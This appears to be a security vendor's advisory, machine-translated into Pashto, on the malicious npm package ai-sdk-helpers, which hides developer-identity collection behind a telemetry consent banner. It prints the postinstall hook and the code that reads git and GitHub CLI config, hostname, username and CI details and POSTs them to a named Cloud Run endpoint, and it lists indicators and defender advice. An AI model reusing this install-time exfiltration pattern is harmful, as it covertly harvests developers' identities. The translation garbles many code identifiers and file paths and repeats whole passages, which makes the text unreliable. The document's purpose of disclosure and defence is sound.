د رضایت ماسک د npm بسته د پراختیا کونکي هویت پټوي

د رضایت ماسک: د npm یوه بسته چې د پراختیا کونکي-پیژندنې راټولولو په وخت کې د ټیلی میټري رضایت بینر اغوندي

د تمديد؛ DR

د npm یو واحد پیکج، د ai-sdk-مرستندویان، ځان د Vercel AI SDK لپاره د تولید وسیلې کټ په توګه وړاندې کوي، د لګښت تعقیب، چمتو کونکي فال بیک، او سټریمینګ مرسته کونکي وړاندې کوي.

د دې د نصبولو وخت سکریپټ د پالش شوي افشا کولو بینر سره خلاصیږي چې تشریح کوي بې نومه تشخیصات، ژمنه کوي چې هیڅ سرچینه کوډ، ټوکنونه، یا اسناد نه لیږدول کیږي، د درناوي a DO_NOT_TRACK د وتلو څخه ډډه کول، او د ټیلی میټری پالیسۍ پاڼې سره اړیکه نیول.

بیا ورته سکریپټ د پراختیا کونکي ګیټ هویت، د ګیټ هب CLI ترتیب، د ماشین کوربه نوم، د OS کارن نوم، کاري لارښود، او د CI چمتو کونکی لوستل کیږي.

دا معلومات د JSON په توګه د ګوګل کلاوډ رن پای نقطې ته پوسټ کیږي، چې د بیان شوي ټیلی میټري پالیسۍ او راټول شوي اصلي ساحو ترمنځ یو روښانه بې اتفاقي رامینځته کوي.

دا بسته په دوه ویشت نسخو کې د یو واحد ۸۳ ثانیو برسټ دننه خپره شوه، او د نصب سکریپټ د هر بیرغ شوي نسخې لپاره د بایټ په اساس ورته دی.

زموږ لخوا بیاکتل شوي د اتو نسخو څخه اوه pipeline د ML طبقه بندي کونکي لخوا بې پایلې نمرې ورکړل شوې ځکه چې د رضایت بینر سټایل د قانوني ټیلی میټري په څیر لوستل کیږي.

موږ طبقه بندي کوو ai-sdk-helpers د نصبولو وخت د پراختیا کونکي د هویت راټولولو او افشا کولو پر بنسټ د ناوړه په توګه.

شدت: لوړ.

 د نصب اناتومي

{   "scripts": {     "postinstall": "node scripts/postinstall.js"   } }

د نصبولو وروسته په اتوماتيک ډول چلېږي د npm لګول، مخکې لدې چې د پیکج کوم اعلان شوی کوډ وارد شي. سکریپټ سکرېپټونه/postinstall.js هغه ځای دی چې د نصبولو وخت ټول چلند پکې ژوند کوي.

دا د تبصرې بلاک او د رن ټایم خبرتیا سره خلاصیږي چې د محرمیت په اړه د خلاصې سرچینې پروژې په راجستر کې لیکل شوي:

>کله چې تاسو د ai-sdk-helpers نصب کوئ، موږ د چاپیریال د مطابقت چټک چیک ترسره کوو او د نامعلوم تشخیص راپور ورکوو... معلومات په بشپړ ډول بې نومه دي - موږ ستاسو پلیټ فارم، نوډ نسخه، او ستاسو د ماشین پیژندونکي یو طرفه هش راټولوو. هیڅ سرچینه کوډ، ټوکن، یا اسناد هیڅکله نه لیږدول کیږي.

دا حتی د کار کولو آپټ آوټ دروازې ته تار ورکوي، چې په فایل کې لومړی اجرا کیدونکی کوډ دی:

if (   process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" ||   process.env.DO_NOT_TRACK === "1" ) {   process.exit(0); }

د دې دروازې لومړی تړل هغه څه دي چې پاتې نور یې د موافقې په توګه لوستل کیږي: یو پراختیا کونکی چې تنظیموي `D_نه_ټریک` نصب په خاموشۍ سره بشپړیږي او بسته د کنوانسیون درناوی پای ته رسوي. د عزتمن انتخاب حقیقي دی. هغه څه چې دا یې ورکوي، د هر هغه چا لپاره چې دا یې نه تنظیموي، هغه ټولګه ده چې لاندې تشریح شوې ده - نه د "پلیټ فارم، نوډ نسخه، او یو طرفه هش" تنګ نومونه چې د خبرتیا نومونه دي.

د دې دروازې لاندې، سکریپټ یو داسې بار راټولوي چې د دې توضیحاتو څخه ډیر تیریږي.

  • *Gهویت.* rحل کولScmهویت () ` ایډز `~.ګیټ کنفیګ`،`~.config/git/config`،او د اوسنۍ پروژې `.دا/تنظیم`،تجزیه کوي `[سر]` اخذ، او ترتیب شوی بیرته راګرځوي commit برېښنالیک. که چیرې د ترتیب فایل بریښنالیک ونه ترلاسه کړي، نو دا بیرته `G` ته راځي.د AUTHOR_EMAIL،`GT_COMMITTER_EMAIL`،او `اید AIL` د چاپیریال متغیرات. د فعالیت پورته یو سند د لوستلو چوکاټ د "د ورته شخص ملکیت لرونکي ماشینونو کې د نصبونو نقل کولو لپاره (د مثال په توګه لیپ ټاپ + CI)" په توګه چوکاټ کوي - یو بیان شوی هدف چې د هر پراختیا کونکي مستحکم پیژندونکي ته اړتیا لري، کوم چې commit د برېښنالیک توکي.
  • *Gد tHub حساب.* rد حل ګیټ هب هویت () ` ایډز `~.config/gh/hosts.yml` او `~.config/gh/hosts.yaml` د ترتیب فایل چې د GitHub CLI لخوا لیکل شوی کله چې یو پراختیا کونکی تصدیق کوي - او regex- `u` استخراجويیار:` او `ایالف:` ields. دا فایل د GitHub OAuth ټوکن هم ذخیره کوي؛ د سکریپټ ریجیکس په ځانګړي ډول د کارونکي نوم او بریښنالیک لینونه په نښه کوي او ټوکن نه استخراجوي. د افشا کولو بینر "هیڅ ټوکن ... هیڅکله نه لیږدول کیږي" ادعا له همدې امله په لفظي ډول د دې یوې ساحې لپاره ریښتیا ده پداسې حال کې چې شاوخوا حساب پیژندونکي لوستل کیږي او لیږل کیږي.
  • *Hد st او CI د ګوتو نښې.* هغه سکرېپټ بیا `o` راټولوي.کوربه نوم()`,`o.کارونکي معلومات().کارن نوم`,د نوډ نسخه، پلیټ فارم او معمارۍ، `pocess.cwd()`,او د CI- چمتو کونکي لیبل د اتو چمتو کونکو لپاره د چاپیریال متغیرونو چک کولو سره حل شوی (GitHub Actions، GitLab CI، Jenkins، CircleCI، Travis، Buildkite، او دوه عمومي-CI بیرغونه). د چمتو کونکي لیست د هغه ځای په توګه لوستل کیږي چیرې چې سکریپټ تمه لري چې اجرا شي - متقابل شیلونه او اتومات جوړونه pipelineیو شان دی.

دا ټول په یوه واحد ``d'' کې ګروپ شوي دي.اګنوسټیکس bject، د هر پراختیا کونکي ساحې سره چې د `i` لاندې راټول شوي دينهاد` ey او د کوربه معلومات د `r` لاندېوخت او `جمتن` eyes، بیا سریال شوی او لیږدول شوی:

const req = https.request(   {     hostname: "npm-package-logger-228835561205.europe-west1.run.app",     path: "/",     method: "POST",     headers: { "Content-Type": "application/json" },     timeout: 5000,   },   () => {} );  req.on("error", () => {}); req.write(body); req.end();

ځواب رد شوی او ټولې غلطۍ تیرې شوې دي - یوه تبصره یادونه کوي چې "ټیلی میټری باید هیڅکله انسټال مات نه کړي." د پای ټکی کوربه نوم په `eرسۍ-لویدیځ1` اجیون.

تشه کیسه ده. بینر د معلوماتو درې کټګورۍ نوموي - پلیټ فارم، نوډ نسخه، د ماشین پیژندونکي هش. پیلوډ د پراختیا کونکي اصلي ګیټ لیږي commit برېښنالیک، د دوی د GitHub کارن نوم او برېښنالیک، د دوی د ماشین کوربه نوم او د OS حساب نوم، د دوی د پروژې لاره، او د دوی د CI چاپیریال. هغه ساحې چې *p پیژنيrson او د هغوی حسابونه* په سمه توګه هغه ساحې دي چې افشا کول یې له پامه غورځوي.

README له بلې خوا چوکاټ پیاوړی کوي. د هغې "ټیلیمیټري" برخه د بې نومۍ ادعا تکراروي او د "D" کلمې سره نښلوي._نه_ټریک` او سيnsoledonottrack.com`,د ټولنې اصلي پاڼه چې د وتلو کنوانسیون مستند کوي - د پیژندل شوي محرمیت پور اخیستل standard ترڅو خبرتیا په معمول ډول ولوستل شي.

مهال ویش

دا د یوې واحدې بستې موندنه ده چې د خپرونې خورا لنډ او ډیر دروند تاریخ لري. د تعقیب لپاره د څو اونیو کمپاین آرک نشته - د نسخې ټوله لړۍ د ماشین سرعت سره مخ شوې وه.

کله چې (UTC) دکمپاینونو
2026-06-03 20:31:20 لومړۍ نسخه (0.1.0) npm ته خپور شو.
2026-06-03 20:31:20 – 20:32:43 ټولې ۲۲ نسخې (0.1.0 له لارې د 1.4.2) په ۸۳ ثانیو کې په اتوماتیک ډول خپور شو.
2026-06-04 اته نسخې د کشف سیګنالونو لخوا نښه شوي؛ لاسي تحلیل د نصب وخت د پیژندنې راټولول او ایستل تاییدوي. بسته د تحلیل په وخت کې په npm کې ژوندۍ پاتې شوه.

د ۲۲ سیمانټیک نسخو په اوږدو کې د ۸۳ ثانیو کړکۍ پخپله د چلند شاخص دی: د نسخې زینه (`0۱.۱`،`0۱.۱`،… `۱۴.۲`)د یوې فعالې ساتل شوې پروژې سطحه د خپریدو تاریخ سره وړاندې کوي، چې په یوه سکریپټ شوي چلولو کې تولید شوې ده. د نصب سکریپټ په دې زینه کې نه بدلیږي — لاندې وګورئ.

د جوړجاړي شاخصونه

د نصبولو وخت تادیه د خپرو شویو نسخو په لړۍ کې ورته ده. الف `dفف درپټس/پوسټ انسټال.js` د ایتون نسخه `02.1` دوهم نسخه `۱4.2` هیڅ توپیر نلري؛ چلند د ګوتو نښې یو ثابت دی، نه د بدلون موندونکی پیلوډ.

شبکه

د ۲۲ سیمانټیک نسخو په اوږدو کې د ۸۳ ثانیو کړکۍ پخپله د چلند شاخص دی: د نسخې زینه (`0۱.۱`،`0۱.۱`،… `۱۴.۲`)د یوې فعالې ساتل شوې پروژې سطحه د خپریدو تاریخ سره وړاندې کوي، چې په یوه سکریپټ شوي چلولو کې تولید شوې ده. د نصب سکریپټ په دې زینه کې نه بدلیږي — لاندې وګورئ.

د جوړجاړي شاخصونه

د نصبولو وخت تادیه د خپرو شویو نسخو په لړۍ کې ورته ده. الف `dفف درپټس/پوسټ انسټال.js` د ایتون نسخه `02.1` دوهم نسخه `۱4.2` هیڅ توپیر نلري؛ چلند د ګوتو نښې یو ثابت دی، نه د بدلون موندونکی پیلوډ.

شبکه

شاخص رول
npm-package-logger-228835561205.europe-west1.run.app د Exfiltration پای ټکی د JSON پیلوډونو سره د HTTPS POST غوښتنې ترلاسه کوي. په ګوګل کلاوډ کې کوربه شوی په کې چلول europe-west1 سيمه.

د زیربنا ډیکوی

شاخص رول
ai-sdk.guide د بسته بندۍ کورپاڼه او ژوندۍ سایټ د "AI SDK لارښود" لیکوال هویت ملاتړ کوي.
ai-sdk.guide/telemetry د ټیلی میټری پالیسۍ URL چې د نصبولو وخت افشا کولو خبرتیا کې حواله شوی.
hello@ai-sdk.guide د لیکوال برېښنالیک په کې اعلان شو package.json.
github.com/ai-sdk-guide/ai-sdk-helpers د سرچینې ذخیره چې د پیکج لخوا اعلان شوې.

فایلونه د نصبولو په وخت کې لوستل کیږي

  • -.ګیټ کنفیګ`،`~.config/git/config`،`<wd>/.git/config` ګیټ `[سر]` پست
  • - .config/gh/hosts.yml`،`~.config/gh/hosts.yaml` د ګیټ هب CLI `uer` `eایل

د چلند لاسلیکونه

  • – م `پنصب کړئ` او همدارنګه د یو بنډل شوي نوډ سکریپټ غوښتنه کول
  • - د وتلو دروازه (`A``د _SDK_مرستندویه_ټېلیفوني_غیر فعال شوی،```D_نه_ټریک`)د هویت راټولولو دمخه، د محرمیت ځانګړتیا په توګه وړاندې شوی
  • - د JSON څیز tbound HTTPS POST چې د git بریښنالیک، GitHub هویت، کوربه نوم، د OS کارن نوم، cwd، او CI لیبل لري
  • - د ګړندي خپریدونکي نسخې زینې په اوږدو کې د ورته نصب سکریپټ

 منسوب او مشاهده شوی چلند
موږ د هغه څه څخه هاخوا هیڅ شی نه منسوبوو چې د پیکج او راجسټری میټاډاټا ثبتوي.

د ریکارډ npm ساتونکی حساب `a` دیایلسمن,د `a پتې سرهiel@vigilance.security`.په راجستر کې هغه برېښنالیک د نه تایید شوي په توګه او د حساب د سرچینې کنټرول هویت د نه تایید شوي په توګه لیست شوی دی. `pckage.json`,په جلا توګه، لیکوال د "AI SDK لارښود" په توګه وړاندې کوي.ello@ai-sdk.guide>`"د `a` کور پاڼې سره-sdk.لارښود` او د `g` لاندې د سرچینې ذخیرهthub.com/ai-sdk-guide` اداره. د خپرونې حساب د بریښنالیک ډومین (`vigilance.security`)او د پیکج دننه د لیکوال هویت (`a-sdk.لارښود`)مختلف ډومینونه دي.

د `a-sdk.لارښود` دا ژوندی دی او ځواب ورکوي، او `/عنصري ath حل کوي — د جعلي هویت ملاتړ د یوې مړې لینک پرځای د لاسرسي وړ ویب شتون لخوا کیږي، کوم چې د کڅوړې چوکاټ باور لوړوي.

**د لیدلو وړتیا.** د نصبولو په وخت کې، کڅوړه د پراختیا کونکي هویت او د حساب ترتیب کولو فایلونه لولي، کوربه او CI چاپیریال د ګوتو نښې کوي، او پایله د آپریټر کنټرول شوي پای ټکي ته لیږدوي، پداسې حال کې چې یو خبرتیا ښیې چې د یو محدود او بې نومه ډیټا سیټ تشریح کوي. موږ دا چلند تشریح کوو؛ موږ د دې لپاره انګیزه نه تاییدوو. لوستونکي چې د کڅوړې ارزونه کوي - په شمول د هر هغه ګوند چې د خپرونې هویت پیژني - باید د بیان شوي او اصلي معلوماتو جریان ترمنځ د لیدلو وړ بې اتفاقي وزن کړي.

د مدافعینو لپاره اغیزې، رجحانات او لارښوونې

څوک افشا شوی دی. هر څوک چې نصب کوي د ai-sdk-مرستندویان — په مستقیم ډول یا د انتقالي انحصار په توګه — په هغه ماشین کې ټولګه چلوي. ځکه چې محرک دی د نصبولو وروسته، د اعلان شوي کتابتون کوډ هیڅکله د معلوماتو جریان رامینځته کیدو لپاره واردولو ته اړتیا نلري؛ یوازې نصب کول کافي دي. لوړ ارزښت لرونکي چاپیریالونه د پراختیا کونکي ورک سټیشنونه دي چې د ترتیب شوي ګیټ هویت او تصدیق شوي ګیټ هب CLI سره ، او د CI رنرونه ، چیرې چې د سکریپټ CI چمتو کونکي کشف ښیې چې تمه کیږي ټولګه به د جوړونې دننه پرمخ بوځي. pipelines او همدارنګه په لپټاپونو کې.

هغه څه چې دا یې څرګندوي. په عمومي قضیه کې د غوښتنلیک رازونه نه - د تادیې بار په مرکز کې شناخت: د پراختیا کونکي commit برېښنالیک، د دوی د GitHub حساب نوم او برېښنالیک، د ماشین او حساب نومونه، او د پروژې لاره. دا یو مخکینۍ خبره دهcisد دې نقشه چې چا بسته نصب کړه، په کوم ماشین کې، په کوم ذخیره کې، او د کوم CI سیسټم لاندې. د یوې ادارې لپاره، د دې ډول ریکارډونو یو څو یوځای اخیستل به دا په ګوته کړي چې کوم انجینرانو او کوم سیسټمونو د جوړولو لپاره انحصار راپارولی - د ډیر هدفمند تعقیبي فعالیت لپاره د مخکیني په توګه ګټور، که څه هم د دې بسته خپل چلند په راټولولو او لیږد کې ودریږي.

رجحان: ټیلی میټری د پوښ په توګه. د قانوني پراختیا کونکي وسیلې د نامعلوم نصب تشخیصونه راټولوي، او د دې په درناوي سره د ترسره کولو کنوانسیونونه - د افشا کولو خبرتیا، a تعقیب نه کړئ عزت، د وتلو بیرغ، د پالیسۍ URL - ښه پیژندل شوي دي. د ai-sdk-مرستندویان دا څلور واړه کنوانسیونونه په وفادارۍ سره بیا تولیدوي او د هویت راټولولو لپاره یې د پوښ په توګه کاروي. د رضایت بینر، کاري انتخاب، یا د محرمیت پالیسۍ لینک شتون د دې ثبوت نه دی چې یو بسته د اعتبار وړ ده؛ دا کنټرولونه د تقلید لپاره ارزانه دي. یوازینۍ باوري چک هغه څه دي چې کوډ په حقیقت کې لولي او چیرته یې لیږي.

دا بسته بندي په اتوماتیک ټریج باندې د اندازه کولو وړ اغیزه هم لري. په ټولو نسخو کې زموږ pipeline بیاکتنه وشوه، د انسټال سکریپټ ساده ژبې تبصرې، جوړښت شوي ساحې نومونه، او دودیز آپټ آوټ دروازه د عادي ټیلی میټري په توګه نمرې ورکړل شوې: له اتو څخه اوه بیرته راغلل بې ځایه شوی د ML طبقه بندي کونکي څخه نه بلکه د ناوړه چلند څخه. هغه سیګنال چې ابهام حل کوي په نثر کې نه دی - دا په هغه ځانګړو فایلونو کې دی چې سکریپټ یې پرانیزي (~/.ګیټ کنفیګ, ~/.config/gh/hosts.yml) او هغه منزل چې دا یې لیږي. یو بیاکتونکی، اتومات یا انساني، چې افشا کول لولي او هلته ودریږي، غلطې پایلې ته رسیږي؛ پریکړه باید د معلوماتو د جریان حقایقو څخه راشي.

د مدافعینو لپاره لارښوونې:

  • د ډیفالټ لخوا غیر فعال شوي سکریپټونو سره نصب کړئ — npm نصب کړئ - سکریپټونه له پامه وغورځوئ، یا ټاکل شوی له پامه غورځول شوي سکرېپټونه = ریښتیا in .npmrc او په واضح ډول د ارزونې شوي جوړونې مرحلې پرمخ بوځي. دا بې طرفه کوي د نصبولو وروسته- په ټوله کې د راټولولو لامل شو.
  • د وتلو کنټرولونه د باور نښې مه ګڼئ. الف تعقیب نه کړئ چیک یا د "ټیلی میټری پالیسۍ" لینک تاسو ته د هغه معلوماتو په اړه هیڅ نه وايي چې سکریپټ راټولوي کله چې دروازه نه وي تنظیم شوې.
  • د AI-ایکوسیستم مرستندویه کڅوړو غوره کولو دمخه د نصب هک ولولئ. د Vercel AI SDK ځای یو ګړندی حرکت کونکی، لوړ باور لرونکی هدف دی؛ a د نصبولو وروسته چې لمس کوي ~/.ګیټ کنفیګ or ~/.config/gh/ دا یو روښانه سیګنال دی پرته له دې چې شاوخوا نظرونه څنګه لیکل شوي وي.
  • د جوړونې وخت د وتلو څارنه. د وتلو په جریان کې یو HTTPS پوسټ د npm لګول، په ځانګړي توګه د تازه چمتو شوي کلاوډ فعالیت پای نقطې ته ، د شبکې پرت کې د لیدو وړ دی او د CI چاپیریال لپاره د کشف قوي نقطه ده.
  • د کمپریس شوي نسخې زینو لپاره وګورئ. یو پیکج چې د سیمانټیک نسخې بشپړ تاریخ یې په ثانیو کې څرګندیږي، د نه بدلیدونکي نصب سکریپټ سره، د تولید شوي ساتنې تاریخ وړاندې کوي.
د سکا-وسایل-سافټویر-ترکیب-تحلیل-وسایل
د خپل سافټویر خطرونو ته لومړیتوب ورکړئ، اصلاح یې کړئ او خوندي یې کړئ
خپل وړیا حساب ترلاسه کړئ.
هیڅ کریډیټ کارت ته اړتیا نشته.

د خپل سافټویر پراختیا او تحویلي خوندي کړئ

د زیګیني محصول سویټ سره